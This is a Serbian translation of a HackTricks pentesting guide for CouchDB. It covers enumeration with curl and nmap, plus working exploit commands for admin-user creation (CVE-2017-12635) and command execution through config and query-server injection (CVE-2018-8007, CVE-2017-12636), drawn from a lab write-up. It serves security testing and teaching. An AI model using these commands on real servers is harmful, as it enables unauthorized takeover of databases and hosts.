19 KiB
5984,6984 - Pentestiranje CouchDB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
CouchDB je svestrana i moćna dokument-orientisana baza podataka koja organizuje podatke koristeći strukturu ključ-vrednost unutar svakog dokumenta. Polja unutar dokumenta mogu biti predstavljena kao ključ/vrednost parovi, liste ili mape, pružajući fleksibilnost u skladištenju i dohvatanju podataka.
Svaki dokument koji se čuva u CouchDB-u dobija jedinstveni identifikator (_id
) na nivou dokumenta. Pored toga, svaka izmena koja se napravi i sačuva u bazi podataka dobija broj revizije (_rev
). Ovaj broj revizije omogućava efikasno praćenje i upravljanje promenama, olakšavajući jednostavno dohvatanje i sinhronizaciju podataka unutar baze podataka.
Podrazumevani port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatsko nabrajanje
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Baner
Kada se bavite pentestiranjem CouchDB baze podataka, prvi korak je da identifikujete baner. Baner je informacija koja se prikazuje prilikom uspostavljanja veze sa CouchDB serverom. Ova informacija može biti korisna za identifikaciju verzije CouchDB-a koji se koristi, kao i za pronalaženje potencijalnih ranjivosti.
Da biste pronašli baner, možete koristiti alate kao što su telnet
ili nc
(netcat) kako biste se povezali sa CouchDB serverom na odgovarajućem portu (obično 5984). Nakon uspostavljanja veze, server će vam prikazati baner informaciju.
Na primer, možete koristiti sledeću komandu da biste se povezali sa CouchDB serverom i prikazali baner:
$ telnet <IP adresa> 5984
Nakon uspešne konekcije, server će prikazati baner informaciju koja će izgledati otprilike ovako:
Trying <IP adresa>...
Connected to <IP adresa>.
Escape character is '^]'.
{"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"a3e4b5c6-d7e8-f9g0-h1i2-j3k4l5m6n7o8","features":["pluggable-storage-engines","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
U ovom primeru, baner informacija pokazuje da se koristi CouchDB verzija 2.3.1 i da je vendor Apache Software Foundation.
Ova informacija može biti korisna za dalje istraživanje i identifikaciju potencijalnih ranjivosti u CouchDB bazi podataka.
curl http://IP:5984/
Ovo izdaje GET zahtev instaliranoj CouchDB instanci. Odgovor bi trebao izgledati nešto poput jednog od sledećih:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Imajte na umu da ako pristupate korenu CouchDB-a i dobijete 401 Unauthorized
sa nečim poput ovoga: {"error":"unauthorized","reason":"Authentication required."}
nećete moći pristupiti baneru ili bilo kojem drugom endpointu.
{% endhint %}
Info Enumeracija
Ovo su endpointi do kojih možete pristupiti sa GET zahtevom i izvući neke zanimljive informacije. Možete pronaći više endpointa i detaljnije opise u dokumentaciji za couchdb.
/_active_tasks
Lista pokrenutih zadataka, uključujući vrstu zadatka, ime, status i ID procesa./_all_dbs
Vraća listu svih baza podataka u instanci CouchDB-a./_cluster_setup
Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera./_db_updates
Vraća listu svih događaja baze podataka u instanci CouchDB-a. Postojanje baze podataka_global_changes
je potrebno za korišćenje ovog endpointa./_membership
Prikazuje čvorove koji su deo klastera kaocluster_nodes
. Poljeall_nodes
prikazuje sve čvorove koje ovaj čvor poznaje, uključujući one koji su deo klastera./_scheduler/jobs
Lista poslova replikacije. Svaki opis posla će uključivati informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i još neke stvari./_scheduler/docs
Lista stanja replikacijskih dokumenata. Uključuje informacije o svim dokumentima, čak i ucompleted
ifailed
stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Endpoint/_node/{node-name}
se može koristiti za potvrdu Erlang imena čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate/_node/_local
da biste dobili ove informacije./_node/{node-name}/_stats
Resurs_stats
vraća JSON objekat koji sadrži statistike za pokrenuti server. Doslovni string_local
služi kao alias za lokalno ime čvora, pa se za sve URL-ove statistika,{node-name}
može zameniti sa_local
, da bi se interagiralo sa statistikama lokalnog čvora./_node/{node-name}/_system
Resurs _system vraća JSON objekat koji sadrži razne statistike na nivou sistema za pokrenuti server_._ Možete koristiti ___local
kao {node-name} da biste dobili trenutne informacije o čvoru./_node/{node-name}/_restart
/_up
Potvrđuje da je server pokrenut, radi i spreman da odgovori na zahteve. Ako jemaintenance_mode
true
ilinolb
, endpoint će vratiti odgovor 404./_uuids
Zahteva jedan ili više univerzalno jedinstvenih identifikatora (UUID) iz instance CouchDB-a./_reshard
Vraća broj završenih, neuspešnih, pokrenutih, zaustavljenih i ukupnih poslova, zajedno sa stanjem reshardinga na klasteru.
Više zanimljivih informacija može se izvući kako je objašnjeno ovde: https://lzone.de/cheat-sheet/CouchDB
Lista baza podataka
curl -X GET http://IP:5984/_all_dbs
Ako taj zahtev odgovori sa 401 unauthorised, onda vam trebaju validni pristupni podaci da biste pristupili bazi podataka:
curl -X GET http://user:password@IP:5984/_all_dbs
Da biste pronašli važeće akreditive, možete pokušati bruteforce uslugu.
Ovo je primer odgovora couchdb-a kada imate dovoljno privilegija da navedete baze podataka (To je samo lista baza podataka):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informacije o bazi podataka
Možete dobiti neke informacije o bazi podataka (kao što su broj datoteka i veličine) pristupanjem imenu baze podataka:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista dokumenata
Izlistajte svaki unos unutar baze podataka
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Čitanje dokumenta
Pročitajte sadržaj dokumenta unutar baze podataka:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Eskalacija privilegija CVE-2017-12635
Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, moguće je kreirati admin korisnika sa pristupnim podacima hacktricks:hacktricks
pomoću sledećeg zahteva:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Više informacija o ovoj ranjivosti ovde.
CouchDB RCE
Pregled sigurnosti Erlang kolačića
Primer odavde.
U dokumentaciji za CouchDB, posebno u delu koji se odnosi na podešavanje klastera (link), razmatra se upotreba portova od strane CouchDB u režimu klastera. Pomenuto je da se, kao i u samostalnom režimu, koristi port 5984
. Dodatno, port 5986
je namenjen lokalnim API-ima čvora, a važno je da Erlang zahteva TCP port 4369
za Erlang Port Mapper Daemon (EPMD), koji omogućava komunikaciju čvorova unutar Erlang klastera. Ova konfiguracija formira mrežu u kojoj su svi čvorovi međusobno povezani.
Naglašena je ključna sigurnosna preporuka u vezi sa portom 4369
. Ako je ovaj port dostupan preko interneta ili bilo koje nepouzdane mreže, sigurnost sistema u velikoj meri zavisi od jedinstvenog identifikatora poznatog kao "kolačić". Ovaj kolačić deluje kao zaštita. Na primer, u datom listi procesa može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog okvira sistema.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Za one koji su zainteresovani da razumeju kako se ovaj "kolačić" može iskoristiti za daljinsko izvršavanje koda (RCE) u kontekstu Erlang sistema, dostupan je poseban odeljak za dalje čitanje. Detaljno se opisuju metodologije za zloupotrebu Erlang kolačića na neovlašćene načine radi preuzimanja kontrole nad sistemima. Možete istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde.
Iskorišćavanje CVE-2018-8007 putem izmene local.ini
Primer odavde.
Istražena je nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, otkrivajući da za eksploataciju treba imati dozvole za pisanje u datoteku local.ini
. Iako se to direktno ne može primeniti na ciljni sistem zbog sigurnosnih ograničenja, izvršene su izmene kako bi se omogućio pristup pisanju u datoteku local.ini
u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.
Prvo, okruženje se priprema tako što se osigura da je datoteka local.ini
za pisanje, što se proverava listanjem dozvola:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Da bi se iskoristila ranjivost, izvršava se curl komanda koja cilja konfiguraciju cors/origins
u local.ini
fajlu. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod sekcijom [os_daemons]
, sa ciljem izvršavanja proizvoljnog koda:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Naknadna verifikacija pokazuje ubačenu konfiguraciju u local.ini
, upoređujući je sa rezervnom kopijom kako bi se istakle promene:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Prvo, očekivani fajl (/tmp/0xdf
) ne postoji, što ukazuje da ubačena komanda još uvek nije izvršena. Dalje istraživanje otkriva da su pokrenuti procesi povezani sa CouchDB-om, uključujući i jedan koji potencijalno može izvršiti ubačenu komandu:
root@canape:/home/homer/bin# ps aux | grep couch
Prekidanjem identifikovanog CouchDB procesa i omogućavanjem automatskog ponovnog pokretanja sistema, pokreće se izvršavanje ubačene komande, što potvrđuje postojanje prethodno nedostajuće datoteke:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Ova istraživanja potvrđuju mogućnost iskorišćavanja CVE-2018-8007 pod određenim uslovima, posebno zahtevom za upisivanjem u local.ini
datoteku. Priloženi primeri koda i proceduralni koraci pružaju jasno uputstvo za replikaciju napada u kontrolisanom okruženju.
Za više detalja o CVE-2018-8007, pogledajte obaveštenje od strane mdsec: CVE-2018-8007.
Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini
Primer odavde.
Istražena je ranjivost poznata kao CVE-2017-12636, koja omogućava izvršavanje koda putem CouchDB procesa, iako određene konfiguracije mogu sprečiti njeno iskorišćavanje. Uprkos brojnim dostupnim referencama Proof of Concept (POC) na internetu, potrebne su izmene kako bi se iskoristila ranjivost na CouchDB verziji 2, koja se razlikuje od često ciljane verzije 1.x. Početni koraci uključuju proveru verzije CouchDB i potvrdu odsustva očekivane putanje za upitne servere:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Da bi se prilagodio CouchDB verziji 2.0, koristi se nova putanja:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Pokušaji dodavanja i pokretanja novog upitnog servera naišli su na greške vezane za dozvole, kako je naznačeno u sledećem izlazu:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Dalje istraživanje je otkrilo problem sa dozvolama local.ini
fajla, koji nije bio moguć za pisanje. Modifikacijom dozvola fajla uz pomoć root ili homer pristupa, postalo je moguće nastaviti:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Naredni pokušaji dodavanja upitnog servera su uspeli, što je potvrđeno nedostatkom poruka o greškama u odgovoru. Uspešna modifikacija local.ini
datoteke je potvrđena poređenjem datoteka:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Proces se nastavio sa kreiranjem baze podataka i dokumenta, a zatim je pokušan izvršetak koda putem prilagođenog prikaza koji se mapira na novo dodati serverski upit:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Sažetak sa alternativnim payloadom pruža dalje uvide u iskorišćavanje CVE-2017-12636 pod određenim uslovima. Korisni resursi za iskorišćavanje ove ranjivosti uključuju:
Shodan
port:5984 couchdb
Reference
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu u HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.